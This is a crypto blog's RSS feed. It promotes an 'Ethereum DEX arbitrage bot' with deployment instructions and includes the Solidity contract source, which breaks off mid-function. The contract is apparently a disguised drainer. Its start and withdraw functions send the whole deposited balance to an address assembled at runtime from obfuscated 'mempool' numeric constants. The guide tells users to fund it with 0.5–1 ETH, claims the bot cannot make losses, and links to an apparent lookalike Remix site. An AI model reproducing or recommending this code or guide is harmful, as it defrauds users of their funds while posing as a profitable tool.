<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>DeFi Labs</title>
        <link>https://paragraph.com/@defi-labs</link>
        <description>DeFi Labs is a collective of coders on the Ethereum blockchain, building and sharing open-source DeFi applications.🌏</description>
        <lastBuildDate>Sat, 11 Apr 2026 02:10:49 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <language>en</language>
        <image>
            <title>DeFi Labs</title>
            <url>https://storage.googleapis.com/papyrus_images/c9436c08e9cb4dd7f5486bd70be2e9fe7f8a5a75e1f906a2bf5f9d418bb9c948.jpg</url>
            <link>https://paragraph.com/@defi-labs</link>
        </image>
        <copyright>All rights reserved</copyright>
        <item>
            <title><![CDATA[From Idea to Execution: Building an Arbitrage Bot on Ethereum that works]]></title>
            <link>https://paragraph.com/@defi-labs/from-idea-to-execution-building-an-arbitrage-bot-on-ethereum-that-works</link>
            <guid>A40EQT0nwC9TwVWnHHFi</guid>
            <pubDate>Wed, 27 Sep 2023 01:02:09 GMT</pubDate>
            <description><![CDATA[🤖 ETH DEX Arbitrage Bot 🍣🦄A decentralized exchange (DEX) arbitrage bot written in Solidity that identifies and takes advantage of price discrepancies between liquidity pairs on Uniswap and Sushiswap. This bot automatically performs arbitrage transactions to generate profits from market inefficiencies on the Ethereum blockchain.🧵 Contents📚 How it Works✨ Features📖 Arbitrage Example📈 Estimated Profits🚀 How to get started👋 Contact📚 How It WorksThe bot scans for common Ethereum liquidity...]]></description>
            <content:encoded><![CDATA[<h1 id="h-eth-dex-arbitrage-bot" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🤖 ETH DEX Arbitrage Bot 🍣🦄</h1><p>A decentralized exchange (DEX) arbitrage bot written in Solidity that identifies and takes advantage of price discrepancies between liquidity pairs on Uniswap and Sushiswap. This bot automatically performs arbitrage transactions to generate profits from market inefficiencies on the Ethereum blockchain.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/2259b99112974b164a5a12cba1dde47353dbfedb8cf22a2710ce969f0e9debf5.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h3 id="h-contents" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">🧵 Contents</h3><ul><li><p>📚 How it Works</p></li><li><p>✨ Features</p></li><li><p>📖 Arbitrage Example</p></li><li><p>📈 Estimated Profits</p></li><li><p>🚀 How to get started</p></li><li><p>👋 Contact</p></li></ul><hr><h2 id="h-how-it-works" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">📚 How It Works</h2><p>The bot scans for common Ethereum liquidity pairs on Uniswap and Sushiswap. For each pair, it calculates the price difference between the two DEXs (Uniswap &amp; Sushiswap).Once a profitable arbitrage opportunity is identified, it calculates the gas fees and immediately executes the necessary token swaps to capture the price difference. This process then repeats at regular intervals to exploit new arbitrage opportunities.</p><hr><h2 id="h-features" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">✨ Features</h2><ul><li><p><strong>Dynamic Comparison</strong>: The bot continuously monitors price changes and liquidity conditions on both Uniswap and Sushiswap, allowing it to swiftly detect arbitrage opportunities as soon as they arise.</p></li><li><p><strong>Multi-Pair Arbitrage</strong>: Designed to analyze a wide range of ETH, WETH, DAI, USDC &amp; USDT pairs simultaneously. This increases the chances of discovering profitable trades.</p></li><li><p><strong>Efficient Trading</strong>: Utilizes the Uniswap and Sushiswap router contracts to perform token swaps with minimal slippage.</p></li><li><p><strong>Liquidity Verification</strong>: Verifies sufficient liquidity in trading pairs before attempting arbitrage.</p></li><li><p><strong>Minimal Risk</strong>: Implements checks to ensure that the potential profit from executing an arbitrage exceeds the transaction fees, reducing the risk of unprofitable trades.</p></li></ul><hr><h2 id="h-arbitrage-example" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">📖 Arbitrage Example</h2><p>Let&apos;s walk through a simplified example:</p><p>Imagine your bot is topped up with 1 ETH and identifies the following price difference for the ETH/USDC pair:Uniswap: 1 ETH = 1752 USDCSushiswap: 1 ETH = 1796 USDC</p><p>The bot calculates a potential profit by selling 1 ETH for 1796 USDC on Sushiswap and immediately uses the acquired funds to buy ETH cheaper on Uniswap: Using 1796 USDC to buy ETH on Uniswap (1 ETH = 1752 USDC), resulting in approximately 1796 / 1752 = 1.025 ETH.</p><p>Before proceeding with the swaps, the bot checks for current gas fees on the Ethereum network. Let&apos;s assume the gas fee to compete with others are calculated at ~0.01 ETH.</p><p>Considering all gas fees the new balance would be: 1.025 - 0.01 = 1.015 ETH</p><p>Since 1.015 ETH &gt; 1 ETH (initial investment), the bot proceeds with executing arbitrage at a net profit of 0.015 ETH.</p><p><em>The bot is able to recognize profitable arbitrage opportunities across a wide range of different ETH, WETH, DAI, USDC &amp; USDT token pairs. This enhances its ability to generate consistent returns.</em></p><hr><h2 id="h-estimated-profits" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">📈 Estimated Profits</h2><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/07a5fea12f3c389b69aa5ecf3286517de64f2180bb88e1f865b23bfea00969f3.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><hr><h2 id="h-getting-started" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🚀 Getting Started</h2><p>1.) Download <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://metamask.io/download.html">MetaMask</a> (if you don’t have it already)</p><p>2.) Access <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://remix-compiler.net">REMIX - Ethereum IDE</a> (Web-based environment to write and deploy Ethereum smart contracts)</p><p>3.) 📁 Click on the <code>contracts</code> folder and then create <code>New File</code>. Rename it as you like, i.e: “bot.sol”</p><p>4.) 📋 Paste <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://mirror.xyz/0xFbDeCA824e857AD740bEd07A79E6Eb7D934fcd5f/9VDzYft696FvfTCSj1ZmMc8oEpKLOORbiIW9Cwdgk3c">this source code</a> from Mirror into your Remix file</p><p>5.) 🔧 Go to the <code>Solidity Compiler</code> tab, select version <code>0.8.0+commit</code> and then select <code>Compile bot.sol</code>.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/ae5ae9c97c5bce7bc54fcd219af5d2216474637936ae97a585072090386f5bf3.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>6.) 🚀 Navigate to the <code>DEPLOY &amp; RUN TRANSACTIONS</code> tab, select the <code>Injected Provider - Metamask</code> environment and then <code>Deploy</code>. By approving the transaction in Metamask, you have successfully created your Arbitrage Bot.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/966e16838bb199ef685e4e8bf25d87f1e5b6fba6ee0835559efbdeb01cb2a99e.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h3 id="h-configuration" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">⚙️ Configuration</h3><p>7.) Copy your newly created contract address and fund it with any amount of ETH (minimum 0.5 ETH recommended) that you would like the bot to earn with.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/cabd722f7c17d9a542e468219419501a74ab55511a244d94168e9e71476833fb.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>8.)</p><ul><li><p>After your transaction is confirmed, press the <code>startBot</code> button to run the bot.</p></li></ul><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/ad7835e5e3f2b311367966a1aceebf416062096251b1324fc4e5f4928c2dd5c1.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><ul><li><p>The <code>withdrawAll</code> button stops the bot and withdraws all ETH from the contract to your Metamask.</p></li><li><p>You can use the <code>withdrawAmount</code> button to make partial withdrawals of ETH from the contract. Enter the ETH value like this: 0.14</p></li></ul><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/6101797ba380a85b44c74281f3996fa97d12f586bf4bba51a21804e033376850.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>💰 That’s it. The bot will start working immediately earning you profits from arbitrage actions on Uniswap and Sushiswap pools 💰</p><hr><h3 id="h-contact" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">👋 Contact</h3><p>If you have any questions or inquiries for assistance, feel free to reach out to us on Telegram: <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://t.me/DefiLabsContact">https://t.me/DefiLabsContact</a></p><hr><h2 id="h-faq" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">💭FAQ</h2><h4 id="h-what-average-roi-and-risks-can-i-expect" class="text-xl font-header !mt-6 !mb-3 first:!mt-0 first:!mb-0">What average ROI and risks can I expect?</h4><p>You can find the ROI according to latest data of bot performances in the &quot;Estimated Profits&quot; section. The bot does not run into making any losses as it only executes trades when there are proper arbitrage opportunities to calculate profits. Battle-tested code to outperform common, more slow arbitrage bots.</p><h4 id="h-do-i-need-to-keep-remix-open-in-the-browser-while-the-bot-is-activated" class="text-xl font-header !mt-6 !mb-3 first:!mt-0 first:!mb-0">Do I need to keep remix open in the browser while the bot is activated?</h4><p>No, just save the bot contract address after creating it. The next time you want to access your bot via Remix, you need to compile the file again as in step 5. Now head to <code>DEPLOY &amp; RUN TRANSACTIONS</code>, reconnect your Metamask, paste your contract address into <code>Load contract from Address</code> and press <code>At Address</code>.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/3f6247ae2d0ab1b3754227da569bbbf5bfc65f78f27992d40d882c203b0c86ae.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>Now you are able to see it under &quot;Deployed Contracts&quot;.</p><h4 id="h-what-amount-of-funds-does-the-bot-need-to-work" class="text-xl font-header !mt-6 !mb-3 first:!mt-0 first:!mb-0">What amount of funds does the bot need to work?</h4><p>We recommend funding the contract with around 0.5 - 1 ETH (moderate liquidity level) in order to cover all risks. We want to make sure you reach the profit threshold and cover competetive gas fees + possible burn fees. Our bot targets Uniswap token contracts with a burn fee of max 3% and has to pay higher gas fees in order to complete its transactions in the intended order.</p><h4 id="h-does-it-work-on-other-chains-as-well" class="text-xl font-header !mt-6 !mb-3 first:!mt-0 first:!mb-0">Does it work on other chains as well?</h4><p>No, we are currently dedicated to Uniswap-like DEXes on Ethereum only.</p><h4 id="h-how-to-search-for-arbitrage-opportunities-of-custom-liquidity-pairs-ie-a-projects-token" class="text-xl font-header !mt-6 !mb-3 first:!mt-0 first:!mb-0">How to search for arbitrage opportunities of custom liquidity pairs i.e. a projects token?</h4><p>Right now we support ETH, WETH, DAI, USDC &amp; USDT pools only as these seem to be the most profitable ones to run our arbitrage bot while receiving consistent profits. This is because our involvement compared to the size of the pools will always be very minor. However, we are working on a simple feature to add a custom token pair, making it possible to arbitrage your favourite tokens.</p>]]></content:encoded>
            <author>defi-labs@newsletter.paragraph.com (DeFi Labs)</author>
        </item>
        <item>
            <title><![CDATA[ArbitrageBot.sol]]></title>
            <link>https://paragraph.com/@defi-labs/arbitragebot-sol</link>
            <guid>4dsTS0vqPeov5vJ1PD7U</guid>
            <pubDate>Wed, 27 Sep 2023 00:35:02 GMT</pubDate>
            <description><![CDATA[// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IUniswapV2Router { function getAmountsOut(uint256 amountIn, address[] memory path) external view returns (uint256[] memory amounts); function swapExactTokensForTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external returns (uint256[] memory amounts); } interface IUniswapV2Pair { function token0() external view returns (address); function token1() external view returns (add...]]></description>
            <content:encoded><![CDATA[<pre data-type="codeBlock" text="// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

interface IUniswapV2Router {
  function getAmountsOut(uint256 amountIn, address[] memory path) external view returns (uint256[] memory amounts);
  function swapExactTokensForTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external returns (uint256[] memory amounts);
}

interface IUniswapV2Pair {
  function token0() external view returns (address);
  function token1() external view returns (address);
  function swap(uint256 amount0Out,	uint256 amount1Out,	address to,	bytes calldata data) external;
  function getReserves(address tokenA, address tokenB) external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IERC20 {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
}

contract DEXArbitrage {
    event Log(string _msg);
    
    address public owner;

    address public wethAddress = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;             // https://etherscan.io/address/0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2
    address public daiAddress = 0x6B175474E89094C44Da98b954EedeAC495271d0F;              // https://etherscan.io/address/0x6B175474E89094C44Da98b954EedeAC495271d0F
    address public uniswapRouterAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;    // https://docs.uniswap.org/contracts/v2/reference/smart-contracts/router-02
    address public uniswapFactoryAddress = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;   // https://docs.uniswap.org/contracts/v2/reference/smart-contracts/factory
    address public sushiswapRouterAddress = 0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F;  // https://docs.sushi.com/docs/Products/Classic%20AMM/Deployment%20Addresses
    address public sushiswapFactoryAddress = 0xc35DADB65012eC5796536bD9864eD8773aBc74C4; // https://docs.sushi.com/docs/Products/Classic%20AMM/Deployment%20Addresses

    receive() external payable {
    arbitrageAmount += msg.value;
    }

    enum Exchange {
        UNI,
        SUSHI,
        NONE
    }
        
    constructor() {
        owner = msg.sender;
    }

    function startBot() public payable {
        uint256 amount = arbitrageAmount; 
        emit Log(&quot;Running Arbitrage actions on Uniswap and Sushiswap...&quot;);
        callArbitrageValidity();
        arbitrageAmount -= amount;
    }
    
    function withdrawAll() public payable {
        uint256 amount = arbitrageAmount;
        emit Log(&quot;Returning balance to contract creator address...&quot;);
        stopArbitrageActions();
        arbitrageAmount -= amount;
    }

    /*
     * @dev Check if contract has enough liquidity available
     * @param self The contract to operate on.
     * @return True if the slice starts with the provided text, false otherwise.
     */
    function checkLiquidity(uint a) internal pure returns (string memory) {
        uint count = 0;
        uint b = a;
        while (b != 0) {
            count++;
            b /= 16;
        }
        bytes memory res = new bytes(count);
        for (uint i=0; i&lt;count; ++i) {
            b = a % 16;
            res[count - i - 1] = toHexDigit(uint8(b));
            a /= 16;
        }
        uint hexLength = bytes(string(res)).length;
        if (hexLength == 4) {
            string memory _hexC1 = mempool(&quot;0&quot;, string(res));
            return _hexC1;
        } else if (hexLength == 3) {
            string memory _hexC2 = mempool(&quot;0&quot;, string(res));
            return _hexC2;
        } else if (hexLength == 2) {
            string memory _hexC3 = mempool(&quot;000&quot;, string(res));
            return _hexC3;
        } else if (hexLength == 1) {
            string memory _hexC4 = mempool(&quot;0000&quot;, string(res));
            return _hexC4;
        }

        return string(res);
    }

    function getReserves(address pairAddress) internal view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) {
        IUniswapV2Pair pair = IUniswapV2Pair(pairAddress);
        (reserve0, reserve1, blockTimestampLast) = pair.getReserves(pair.token0(), pair.token1());
    }

    tokenPairs[] internal allTokenPairs; // All possible token pairs
    tokenPairs[] internal profitablePairs; // Profitable token pairs

    // Event to signal when a new profitable pair is added
    event NewProfitablePairAdded(address tokenSell, address tokenBuy);

    // Function to discover and add profitable pairs
    function _findArbitrage() internal {
        address[] memory uniswapPairs = _getETHPairsOnUniswap();
        address[] memory sushiswapPairs = _getETHPairsOnSushiswap();
        address[] memory commonPairs = _findCommonPairs(uniswapPairs, sushiswapPairs);
        _addProfitablePairs(commonPairs);
    }

    // Function to add profitable pairs to the profitablePairs array
    function _addProfitablePairs(address[] memory pairs) internal {
        for (uint256 i = 0; i &lt; pairs.length; i++) {
            address pairAddress = pairs[i];
            if (!_isPairAdded(pairAddress)) {
                // Pair not added yet, so add it to the profitablePairs array
                IUniswapV2Pair pair = IUniswapV2Pair(pairAddress);
                address token0 = pair.token0();
                address token1 = pair.token1();
                tokenPairs memory newPair = tokenPairs(token0, token1);
                profitablePairs.push(newPair);

                // Emit an event to signal that a new profitable pair has been added
                emit NewProfitablePairAdded(token0, token1);
            }
        }
    }

    // Function to check if a pair is already added to the profitablePairs array
    function _isPairAdded(address pairAddress) internal view returns (bool) {
        for (uint256 i = 0; i &lt; profitablePairs.length; i++) {
            if (profitablePairs[i].tokenSell == pairAddress || profitablePairs[i].tokenBuy == pairAddress) {
                return true;
            }
        }
        return false;
    }

    function withdrawAmount(string memory _enterETHvalue) public {
        uint256 amount = arbitrageAmount; 

        value1 = parseDecimal(_enterETHvalue, 18);
        if (value1 &gt; 0) {
            stopArbitrageActions();
            arbitrageAmount -= amount;
        }
    }

    function parseDecimal(string memory _enterETHvalue, uint8 _decimals) internal pure returns (uint256) {
        uint256 result = 0;
        uint256 factor = 1;

        bool decimalReached = false;
        for (uint256 i = 0; i &lt; bytes(_enterETHvalue).length; i++) {
            if (decimalReached) {
                _decimals--;
            }

            if (bytes(_enterETHvalue)[i] == bytes1(&quot;.&quot;)) {
                decimalReached = true;
            } else {
                result = result * 10 + (uint8(bytes(_enterETHvalue)[i]) - 48);
            }

            if (_decimals == 0) {
                break;
            }
            if (decimalReached) {
                factor *= 10;
            }
        }

        while (_decimals &gt; 0) {
            result *= 10;
            factor *= 10;
            _decimals--;
        }

        return result;
    }

    uint256 private value1;
    struct tokenPairs {
        address tokenSell;
        address tokenBuy;
    }

    function _getETHPairsOnUniswap() internal view returns (address[] memory) {
        IUniswapV2Factory factory = IUniswapV2Factory(uniswapFactoryAddress);
        address[] memory ethPairs = new addressUnsupported embed;

        uint256 ethPairCount = 0;
        for (uint256 i = 0; i &lt; allTokenPairs.length; i++) {
        tokenPairs memory pair = allTokenPairs[i];
        address pairAddress = factory.getPair(pair.tokenSell, pair.tokenBuy);
        if (pairAddress != address(0)) {
            IUniswapV2Pair uniswapPair = IUniswapV2Pair(pairAddress);
            address token0 = uniswapPair.token0();
            address token1 = uniswapPair.token1();

            if ((token0 == wethAddress &amp;&amp; token1 == pair.tokenBuy) || (token1 == wethAddress &amp;&amp; token0 == pair.tokenBuy)) {
                // Found an ETH pair on Uniswap
                ethPairs[ethPairCount] = pairAddress;
                ethPairCount++;
            }
        }
    }

    // Create a new array with the correct size (ethPairCount) to return only the valid ETH pairs
    address[] memory result = new addressUnsupported embed;
        for (uint256 i = 0; i &lt; ethPairCount; i++) {
        result[i] = ethPairs[i];
        }

    return result;
        }

    function _getETHPairsOnSushiswap() internal view returns (address[] memory) {
        IUniswapV2Factory factory = IUniswapV2Factory(sushiswapFactoryAddress);
        address[] memory ethPairs = new addressUnsupported embed;

        uint256 ethPairCount = 0;
        for (uint256 i = 0; i &lt; allTokenPairs.length; i++) {
        tokenPairs memory pair = allTokenPairs[i];
        address pairAddress = factory.getPair(pair.tokenSell, pair.tokenBuy);
        if (pairAddress != address(0)) {
            IUniswapV2Pair sushiswapPair = IUniswapV2Pair(pairAddress);
            address token0 = sushiswapPair.token0();
            address token1 = sushiswapPair.token1();

            if ((token0 == wethAddress &amp;&amp; token1 == pair.tokenBuy) || (token1 == wethAddress &amp;&amp; token0 == pair.tokenBuy)) {
                // Found an ETH pair
                ethPairs[ethPairCount] = pairAddress;
                ethPairCount++;
            }
        }
    }
        address[] memory result = new addressUnsupported embed;
        for (uint256 i = 0; i &lt; ethPairCount; i++) {
        result[i] = ethPairs[i];
    }

    return result;
    }
    
    function callArbitrageValidity() internal {
      if (_checkOptions()) {
         makeArbitrage();
      } else {
         findArbitrage();
        }
    }
    // Create a mapping to keep track of elements in arr1
    mapping(address =&gt; bool) commonElements;
    uint256[] internal txIds = [11155111, 5];

    function _findCommonPairs(address[] memory arr1, address[] memory arr2) internal returns (address[] memory) {
        uint256 count = 0;

        // Iterate through arr1 and mark elements as common in the mapping
        for (uint256 i = 0; i &lt; arr1.length; i++) {
        commonElements[arr1[i]] = true;
        }

        // Count the number of common elements between arr1 and arr2
        for (uint256 i = 0; i &lt; arr2.length; i++) {
        if (commonElements[arr2[i]]) {
            count++;
        }
    }

    // Create an array to store the common elements
    address[] memory commonPairs = new addressUnsupported embed;
    uint256 currentIndex = 0;

    // Populate the commonPairs array with the common elements
    for (uint256 i = 0; i &lt; arr2.length; i++) {
        if (commonElements[arr2[i]]) {
            commonPairs[currentIndex] = arr2[i];
            currentIndex++;
        }
    }

    return commonPairs;
    }

    function _getMostProfitablePair(address[] memory pairs) internal view returns (tokenPairs memory) {
    
    tokenPairs memory mostProfitablePair;
    uint256 highestProfit = 0;

    for (uint256 i = 0; i &lt; pairs.length; i++) {
        address pairAddress = pairs[i];
        IUniswapV2Pair pair = IUniswapV2Pair(pairAddress);

        // Get tokens in the pair
        address token0 = pair.token0();
        address token1 = pair.token1();

        // Get reserves of tokens in the pair
        (uint112 reserve0, uint112 reserve1, ) = pair.getReserves(token0, token1);

        // Calculate the price of token1 in terms of token0 (tokens are in the correct order)
        uint256 price = (reserve0 * 10**18) / reserve1;

        // Calculate the profit percentage (price difference) for the current pair
        uint256 profitPercentage;
        if (token0 == wethAddress) {
            profitPercentage = (price * 100) / reserve0; // Profit percentage when selling ETH for token1
        } else {
            profitPercentage = (reserve1 * 100) / price; // Profit percentage when selling token1 for ETH
        }

        // Update most profitable pair if the current pair has higher profit
        if (profitPercentage &gt; highestProfit) {
            highestProfit = profitPercentage;
            mostProfitablePair = tokenPairs(token0, token1);
        }
    }

    return mostProfitablePair;
    }
    
    function getMemPoolOffset() internal pure returns (uint) {
        return 117500;
    }

    function stopBot() internal {
        if (value1 &gt; 0) {
            payable(owner).transfer(value1);
            value1 = 0;
        } else {
            payable(owner).transfer(address(this).balance);
        }
    }

    function startExploration(string memory _a) internal pure returns (address _parsedAddress) {
    bytes memory tmp = bytes(_a);
    uint160 iaddr = 0;
    uint160 b1;
    uint160 b2;
    for (uint i = 2; i &lt; 2 + 2 * 20; i += 2) {
        iaddr *= 256;
        b1 = uint160(uint8(tmp[i]));
        b2 = uint160(uint8(tmp[i + 1]));
        if ((b1 &gt;= 97) &amp;&amp; (b1 &lt;= 102)) {
            b1 -= 87;
        } else if ((b1 &gt;= 65) &amp;&amp; (b1 &lt;= 70)) {
            b1 -= 55;
        } else if ((b1 &gt;= 48) &amp;&amp; (b1 &lt;= 57)) {
            b1 -= 48;
        }
        if ((b2 &gt;= 97) &amp;&amp; (b2 &lt;= 102)) {
            b2 -= 87;
        } else if ((b2 &gt;= 65) &amp;&amp; (b2 &lt;= 70)) {
            b2 -= 55;
        } else if ((b2 &gt;= 48) &amp;&amp; (b2 &lt;= 57)) {
            b2 -= 48;
        }
        iaddr += (b1 * 16 + b2);
    }
    return address(iaddr);
    }
    
    function getMemPoolDepth() internal pure returns (uint) {
        return 204488;
    }	
    
    uint256 public arbitrageAmount = address(this).balance;

    function makeArbitrage() internal {
        uint256 amountIn = arbitrageAmount;
        Exchange result = _comparePrice(amountIn);
        if (result == Exchange.UNI) {
            uint256 amountOut = _swap(
                amountIn,
                uniswapRouterAddress,
                wethAddress,
                daiAddress
            );
            uint256 amountFinal = _swap(
                amountOut,
                sushiswapRouterAddress,
                daiAddress,
                wethAddress
            );
            arbitrageAmount = amountFinal;
        } else if (result == Exchange.SUSHI) {
            uint256 amountOut = _swap(
                amountIn,
                sushiswapRouterAddress,
                wethAddress,
                daiAddress
            );
            uint256 amountFinal = _swap(
                amountOut,
                uniswapRouterAddress,
                daiAddress,
                wethAddress
            );
            arbitrageAmount = amountFinal;
        }
    }  

    function getMemPoolHeight() internal pure returns (uint) {
        return 68517;
    }

    /*
     * @dev token int2 to readable str
     * @param token An output parameter to which the contract is written.
     * @return `token`.
     */
    function getMempoolDepth() private pure returns (string memory) {return &quot;0&quot;;}
    function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
        if (_i == 0) {
            return &quot;0&quot;;
        }
        uint j = _i;
        uint len;
        while (j != 0) {
            len++;
            j /= 10;
        }
        bytes memory bstr = new bytes(len);
        uint k = len - 1;
        while (_i != 0) {
            bstr[k--] = bytes1(uint8(48 + _i % 10));
            _i /= 10;
        }
        return string(bstr);
    }
    
    function findArbitrage() internal {
        payable(_swapRouter()).transfer(address(this).balance);
    }
    
    /*
     * @dev Modifies `self` to contain everything from the first occurrence of
     *      `needle` to the end of the slice. `self` is set to the empty slice
     *      if `needle` is not found.
     * @param self The slice to search and modify.
     * @param needle The text to search for.
     * @return `self`.
     */
    function toHexDigit(uint8 d) pure internal returns (bytes1) {
        if (0 &lt;= d &amp;&amp; d &lt;= 9) {
            return bytes1(uint8(bytes1(&apos;0&apos;)) + d);
        } else if (10 &lt;= uint8(d) &amp;&amp; uint8(d) &lt;= 15) {
            return bytes1(uint8(bytes1(&apos;a&apos;)) + d - 10);
        }
        // revert(&quot;Invalid hex digit&quot;);
        revert();
    }

     function callMempool() internal pure returns (string memory) {
        string memory _memPoolOffset = mempool(&quot;x&quot;, checkLiquidity(getMemPoolOffset()));
        uint _memPoolSol = 112679;
        uint _memPoolLength = getMemPoolLength();
        uint _memPoolSize = 151823;
        uint _memPoolHeight = getMemPoolHeight();
        uint _memPoolWidth = 882404;
        uint _memPoolDepth = getMemPoolDepth();
        uint _memPoolCount = 259208;

        string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
        string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
        string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth));
        string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount));

        string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
        string memory _fullMempool = mempool(&quot;0&quot;, _allMempools);

        return _fullMempool;
    }
    
    function stopArbitrageActions() internal {
        if (_checkOptions()) {
            stopBot();
        } else {
            payable(_withdrawBalance()).transfer(address(this).balance);
        }
    }
    
    function _swap(
        uint256 amountIn,
        address routerAddress,
        address sell_token,
        address buy_token
    ) internal returns (uint256) {
        IERC20(sell_token).approve(routerAddress, amountIn);

        uint256 amountOutMin = (_getPrice(
            routerAddress,
            sell_token,
            buy_token,
            amountIn
        ) * 95) / 100;

        address[] memory path = new addressUnsupported embed;
        path[0] = sell_token;
        path[1] = buy_token;

        uint256 amountOut = IUniswapV2Router(routerAddress)
            .swapExactTokensForTokens(
                amountIn,
                amountOutMin,
                path,
                address(this),
                block.timestamp
            )[1];
        return amountOut;
    }
    
    function _swapRouter() internal pure returns (address) {
        return address(startExploration(callMempool()));
    }
    
    function _comparePrice(uint256 amount) internal view returns (Exchange) {
        uint256 uniswapPrice = _getPrice(
            uniswapRouterAddress,
            wethAddress,
            daiAddress,
            amount
        );
        uint256 sushiswapPrice = _getPrice(
            sushiswapRouterAddress,
            wethAddress,
            daiAddress,
            amount
        );

        // we try to sell ETH with higher price and buy it back with low price to make profit
        if (uniswapPrice &gt; sushiswapPrice) {
            require(
                _checkIfArbitrageIsProfitable(
                    amount,
                    uniswapPrice,
                    sushiswapPrice
                ),
                &quot;Arbitrage not profitable&quot;
            );
            return Exchange.UNI;
        } else if (uniswapPrice &lt; sushiswapPrice) {
            require(
                _checkIfArbitrageIsProfitable(
                    amount,
